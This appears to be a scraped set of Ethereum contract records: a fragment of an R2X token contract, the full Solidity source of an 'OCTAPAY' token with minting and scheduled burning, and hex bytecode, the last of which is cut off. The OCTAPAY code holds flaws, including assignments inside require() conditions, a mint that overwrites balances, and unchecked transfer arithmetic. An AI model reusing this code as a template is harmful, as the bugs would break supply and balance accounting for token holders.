uint256 public constant INITIAL_SUPPLY =6000000000000000000000000000; //To change
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function R2Xtoken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
Transfer(0x0, msg.sender, totalSupply_);
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d157806312778e8d1461022b57806318160ddd1461026457806323b872dd1461028d5780632ff2e9dc14610306578063313ce5671461032f5780633f4ba83a1461035e57806342966c681461037357806353cc2fae146103965780635a4528c2146103cf5780635c975abb14610424578063661884631461045157806370a08231146104ab5780638456cb59146104f8578063860838a51461050d5780638da5cb5b1461055e57806395d89b41146105b3578063a9059cbb14610641578063d05166501461069b578063d73dd623146106ec578063dd62ed3e14610746578063f26c159f146107b2578063f2fde38b146107eb575b600080fd5b341561014e57600080fd5b610156610824565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061085d565b604051808215151515815260200191505060405180910390f35b341561023657600080fd5b610262600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108e5565b005b341561026f57600080fd5b6102776109a2565b6040518082815260200191505060405180910390f35b341561029857600080fd5b6102ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ac565b604051808215151515815260200191505060405180910390f35b341561031157600080fd5b610319610a36565b6040518082815260200191505060405180910390f35b341561033a57600080fd5b610342610a46565b604051808260ff1660ff16815260200191505060405180910390f35b341561036957600080fd5b610371610a4b565b005b341561037e57600080fd5b6103946004808035906020019091905050610b0b565b005b34156103a157600080fd5b6103cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c5d565b005b34156103da57600080fd5b6103e2610d84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042f57600080fd5b610437610daa565b604051808215151515815260200191505060405180910390f35b341561045c57600080fd5b610491600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b34156104b657600080fd5b6104e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e45565b6040518082815260200191505060405180910390f35b341561050357600080fd5b61050b610e8d565b005b341561051857600080fd5b610544600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fa6565b604051808215151515815260200191505060405180910390f35b341561056957600080fd5b610571610fc6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105be57600080fd5b6105c6610fec565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106065780820151818401526020810190506105eb565b50505050905090810190601f1680156106335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064c57600080fd5b610681600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611025565b604051808215151515815260200191505060405180910390f35b34156106a657600080fd5b6106d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110ad565b604051808215151515815260200191505060405180910390f35b34156106f757600080fd5b61072c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611103565b604051808215151515815260200191505060405180910390f35b341561075157600080fd5b61079c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061118b565b6040518082815260200191505060405180910390f35b34156107bd57600080fd5b6107e9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611212565b005b34156107f657600080fd5b610822600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611339565b005b6040805190810160405280600381526020017f523258000000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d357600560159054906101000a900460ff161515156108d257600080fd5b5b6108dd8383611491565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561092157600080fd5b60001515600560149054906101000a900460ff16151514151561094357600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560146101000a81548160ff02191690831515021790555050565b6000600154905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2257600560159054906101000a900460ff16151515610a2157600080fd5b5b610a2d848484611583565b90509392505050565b6b1363156bbee3016d7000000081565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa757600080fd5b600560159054906101000a900460ff161515610ac257600080fd5b6000600560156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b5a57600080fd5b339050610bae826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c05826001546115f490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb957600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560159054906101000a900460ff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3357600560159054906101000a900460ff16151515610e3257600080fd5b5b610e3d838361160d565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ee957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5d57600560159054906101000a900460ff16151515610f5c57600080fd5b5b6001600560156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f525458000000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109b57600560159054906101000a900460ff1615151561109a57600080fd5b5b6110a5838361189e565b905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117957600560159054906101000a900460ff1615151561117857600080fd5b5b611183838361190d565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126e57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5816001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113d157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600083600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115df57600080fd5b6115ea858585611b09565b9150509392505050565b600082821115151561160257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561171e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b2565b61173183826115f490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600033600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118fa57600080fd5b6119048484611ec3565b91505092915050565b600061199e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b4657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611b9357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c1e57600080fd5b611c6f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d02826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dd382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f0057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f4d57600080fd5b611f9e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612031826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156120f657fe5b80915050929150505600a165627a7a723058200e98ff539fca9e4c4084e911f273bb0008fbe49754da9dc422b17cdd04fad92e0029
|
{"success": true, "error": null, "results": {}}
| 6,028 |
0xB99a4bB525ece962b549e6873229c5e6921BfF16
|
pragma solidity ^0.5.10;
library SafeMath {
function add(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract OCTAPAY {
using SafeMath for uint;
string public name = "Octapay";
string public symbol = "OCTA";
uint256 public initialSupply = 0;
uint256 public currentSupply = 0 ;
uint256 public totalSupply = 15000000000000000000000000; // This total supply is the Maxmimum Supply Octapay is allowed to reach that is 15 million tokens
uint8 public decimals = 18;
address public owner ;
address public payzusAdminAddress = 0x819de8bA8b172a6063923EB1b003fA9487773465 ;
address public mintOctpayLockingAddr ; // This address should be set time to time by Payzus Admin everytime new Staking Pool Contract is deployed
bool public tokenBurningStart = false ;
bool public maximumSupplyReached = false ;
// Octapay Token Burning Related Parameter,once it reaches its mazimum/total Supply
uint public tokenBurningInOneSlot = 25 ;
uint public tokenBurningInOneSlotAccuracyRatio = 100;
uint public tokenBurningCounter = 1;
uint public totalTokenBurninglot = 4;
uint public firstSlotTokenBurningTime ;
uint public secondSlotTokenBurningTime ;
uint public thirdSlotTokenBurningTime ;
uint public octapayContractReserveTokenBalance = balanceOf[address(this)];
// uint public octapayContractReserveTokenBalance = 3000000 ; // For testing purpose
uint public octapayReserveBalFirstBurningSlot;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
////////////////////////////////////////////////////////////////////////////////////////EVENT DEFINATION///////////////////////////////////////////////////////////////////////////////////////////////
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
////////////////////////////////////////////////////////////////////////////////////////CONSTRUCTOR FUNCTION///////////////////////////////////////////////////////////////////////////////////////////
// Make this contract address the owner of this contract
// We have to make sure not even the deployer of this contract has access to any function of this contract
constructor() public {
owner = address(this) ;
balanceOf[owner] = initialSupply ;
}
modifier onlyPayzusAdmin {
require(msg.sender == payzusAdminAddress , 'Only Payzus Admin is allowed to call this function');
_;
}
function setMintOctapayLockingAddress(address _addr) public onlyPayzusAdmin {
mintOctpayLockingAddr = _addr;
}
////////////////////////////////////////////////////////////////////////////////////////OCTAPAY MINTING FUNCTION///////////////////////////////////////////////////////////////////////////////////////////
function mintOctapay (uint _mintBatchAmount) external returns (uint) {
require(msg.sender == mintOctpayLockingAddr , 'Only the staking pool contract address set by Payzus Admin is allowed to call this mint octapay function' );
require((currentSupply < totalSupply) && (maximumSupplyReached == false) , "Octapay reached its Maximum Supply");
//currentSupply = initialSupply + _mintBatchAmount + currentSupply;
currentSupply = (initialSupply).add(_mintBatchAmount).add(currentSupply);
balanceOf[mintOctpayLockingAddr] = _mintBatchAmount ; // this should turn to zero once current it distribute all its token
if (currentSupply >= totalSupply ) {
require(tokenBurningStart == false , 'Token Burning has already been triggered Cant be triggered twice');
tokenBurningStart = true ;
maximumSupplyReached = true ;
burnOctapayFirstSlot();
}
}
////////////////////////////////////////////////////////////////////////////////////////OCTAPAY BURN FUNCTION///////////////////////////////////////////////////////////////////////////////////////////
// Octapay token Burning Function ,Once Onctapay reaches its maximum Supply of 15000000 .
// Once Octapay reaches maximum Supply of 15000000 ,token burning of total of Octapay amount to 1,50,00000*20% = 3,000,000 ( where 20% is HOUSE_EDGE ) should be burnt in total
// four slots ,or in other words in gap of every 30days for next three months (As first time Octapay will burn right at the very same time it reaches its maximum supply by automatically initiated by this smart contract)
// of amount 25% Of 3,000,000 i.e. 750000.
// Next remaining (3000000−750000) 2250000 reserved tokens should be burned manually by Payzus Admin by invoking burnOctapayForNextThreeSlot() function three times in the gap of 30 days
// this 3,000,000 is reserved Octapay contained and in access by this smart contract
function burnOctapayFirstSlot () private {
require((tokenBurningCounter <= totalTokenBurninglot) && (maximumSupplyReached = true) ,'All four slots of token birning acheived' );
if(octapayContractReserveTokenBalance > 0) {
// octapayReserveBalFirstBurningSlot = (octapayContractReserveTokenBalance*tokenBurningInOneSlot)/tokenBurningInOneSlotAccuracyRatio ;
// octapayContractReserveTokenBalance = octapayContractReserveTokenBalance - octapayReserveBalFirstBurningSlot ;
// totalSupply = totalSupply - (octapayReserveBalFirstBurningSlot *1000000000000000000) ;
octapayReserveBalFirstBurningSlot = (octapayContractReserveTokenBalance.mul(tokenBurningInOneSlot)).div(tokenBurningInOneSlotAccuracyRatio) ;
octapayContractReserveTokenBalance = octapayContractReserveTokenBalance.sub(octapayReserveBalFirstBurningSlot) ;
totalSupply = totalSupply.sub(octapayReserveBalFirstBurningSlot *1000000000000000000) ;
tokenBurningCounter = tokenBurningCounter+ 1;
firstSlotTokenBurningTime = now ;
}
}
//This function is allowed to call by only Payzus Admin Once Octapay Total Supply is reached and first slot of auto token burning has been completed
function burnOctapayForSecondSlot () public onlyPayzusAdmin returns(uint) {
require((now > firstSlotTokenBurningTime + 30 days) &&(tokenBurningCounter == 2 ) && (tokenBurningCounter <= totalTokenBurninglot) && (maximumSupplyReached = true) ,'All four slots of token birning acheived' );
if(octapayContractReserveTokenBalance > 0) {
// octapayContractReserveTokenBalance = octapayContractReserveTokenBalance - octapayReserveBalFirstBurningSlot ;
// totalSupply = totalSupply - (octapayReserveBalFirstBurningSlot *1000000000000000000) ;
octapayContractReserveTokenBalance = octapayContractReserveTokenBalance.sub(octapayReserveBalFirstBurningSlot) ;
totalSupply = totalSupply.sub(octapayReserveBalFirstBurningSlot *1000000000000000000) ;
tokenBurningCounter = tokenBurningCounter+ 1;
secondSlotTokenBurningTime = now ;
}
}
//This function is allowed to call by only Payzus Admin Once Octapay Total Supply is reached and second slot of manual token burning has been completed
function burnOctapayForThirdSlot () public onlyPayzusAdmin returns(uint) {
require((now > secondSlotTokenBurningTime + 30 days) && (tokenBurningCounter == 3 ) && (tokenBurningCounter <= totalTokenBurninglot) && (maximumSupplyReached = true) ,'All four slots of token birning acheived' );
if(octapayContractReserveTokenBalance > 0) {
// octapayContractReserveTokenBalance = octapayContractReserveTokenBalance - octapayReserveBalFirstBurningSlot ;
// totalSupply = totalSupply - (octapayReserveBalFirstBurningSlot *1000000000000000000) ;
octapayContractReserveTokenBalance = octapayContractReserveTokenBalance.sub(octapayReserveBalFirstBurningSlot) ;
totalSupply = totalSupply.sub(octapayReserveBalFirstBurningSlot *1000000000000000000) ;
tokenBurningCounter = tokenBurningCounter+ 1;
thirdSlotTokenBurningTime = now ;
}
}
//This function is allowed to call by only Payzus Admin Once Octapay Total Supply is reached and third slot of manual token burning has been completed
function burnOctapayForFourthSlot () public onlyPayzusAdmin returns(uint) {
require((now > thirdSlotTokenBurningTime + 30 days ) && (tokenBurningCounter == 4 ) && (tokenBurningCounter <= totalTokenBurninglot) && (maximumSupplyReached = true) ,'All four slots of token birning acheived' );
if(octapayContractReserveTokenBalance > 0) {
// octapayContractReserveTokenBalance = octapayContractReserveTokenBalance - octapayReserveBalFirstBurningSlot ;
// totalSupply = totalSupply - (octapayReserveBalFirstBurningSlot *1000000000000000000) ;
octapayContractReserveTokenBalance = octapayContractReserveTokenBalance.sub(octapayReserveBalFirstBurningSlot) ;
totalSupply = totalSupply.sub(octapayReserveBalFirstBurningSlot *1000000000000000000) ;
tokenBurningCounter = tokenBurningCounter+ 1;
}
}
////////////////////////////////////////////////////////////////////////////////////////FALLBACK FUNCTION///////////////////////////////////////////////////////////////////////////////////////////
// fallback function as this contract is not designed to receive any sort of ether
function() external {
}
//////////////////////////////////////////////////////////////////////////////////////// ERC-20 Compatible Related Standard Function/////////////////////////////////////////////////////////////////////////////////////////////
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063378dc3dc11610104578063a9059cbb116100a2578063c76e261011610071578063c76e26101461079c578063dd62ed3e146107de578063de390ed514610856578063eb033c0014610874576101da565b8063a9059cbb146106d8578063ab77d8d31461073e578063b2d3543d1461075c578063b6afed651461077a576101da565b8063771282f6116100de578063771282f6146105a95780638da5cb5b146105c75780639476b6ba1461061157806395d89b4114610655576101da565b8063378dc3dc146104e957806346b167781461050757806370a0823114610551576101da565b806318160ddd1161017c5780632846d4a01161014b5780632846d4a01461046b5780632b3e6ad414610489578063313ce567146104a7578063346ff121146104cb576101da565b806318160ddd1461035f57806323b872dd1461037d5780632436e64714610403578063250b326d14610421576101da565b8063095ea7b3116101b8578063095ea7b31461029f5780630d6756a1146103055780631110bc7614610323578063161a718414610341576101da565b80630359d50b146101dc57806303774078146101fa57806306fdde031461021c575b005b6101e4610892565b6040518082815260200191505060405180910390f35b610202610898565b604051808215151515815260200191505060405180910390f35b6102246108ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610264578082015181840152602081019050610249565b50505050905090810190601f1680156102915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102eb600480360360408110156102b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610949565b604051808215151515815260200191505060405180910390f35b61030d610a3b565b6040518082815260200191505060405180910390f35b61032b610a41565b6040518082815260200191505060405180910390f35b610349610a47565b6040518082815260200191505060405180910390f35b610367610cf6565b6040518082815260200191505060405180910390f35b6103e96004803603606081101561039357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cfc565b604051808215151515815260200191505060405180910390f35b61040b610f67565b6040518082815260200191505060405180910390f35b610429610f6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610473610f93565b6040518082815260200191505060405180910390f35b610491610f99565b6040518082815260200191505060405180910390f35b6104af610f9f565b604051808260ff1660ff16815260200191505060405180910390f35b6104d3610fb2565b6040518082815260200191505060405180910390f35b6104f1610fb8565b6040518082815260200191505060405180910390f35b61050f610fbe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105936004803603602081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe4565b6040518082815260200191505060405180910390f35b6105b1610ffc565b6040518082815260200191505060405180910390f35b6105cf611002565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106536004803603602081101561062757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611028565b005b61065d611112565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069d578082015181840152602081019050610682565b50505050905090810190601f1680156106ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610724600480360360408110156106ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111b0565b604051808215151515815260200191505060405180910390f35b610746611307565b6040518082815260200191505060405180910390f35b6107646115af565b6040518082815260200191505060405180910390f35b6107826115b5565b604051808215151515815260200191505060405180910390f35b6107c8600480360360208110156107b257600080fd5b81019080803590602001909291905050506115c8565b6040518082815260200191505060405180910390f35b610840600480360360408110156107f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061193d565b6040518082815260200191505060405180910390f35b61085e611962565b6040518082815260200191505060405180910390f35b61087c611c11565b6040518082815260200191505060405180910390f35b600e5481565b600760159054906101000a900460ff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109415780601f1061091657610100808354040283529160200191610941565b820191906000526020600020905b81548152906001019060200180831161092457829003601f168201915b505050505081565b600081601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c5481565b600f5481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180611f316032913960400191505060405180910390fd5b62278d00600d540142118015610b0757506003600a54145b8015610b175750600b54600a5411155b8015610b3957506001600760156101000a81548160ff02191690831515021790555b610b8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061202d6028913960400191505060405180910390fd5b6000600f541115610cf357600f5473282089a0666b5505f55100770228749b7bf1d7f763b67d77c590916010546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610bf657600080fd5b505af4158015610c0a573d6000803e3d6000fd5b505050506040513d6020811015610c2057600080fd5b8101908080519060200190929190505050600f8190555060045473282089a0666b5505f55100770228749b7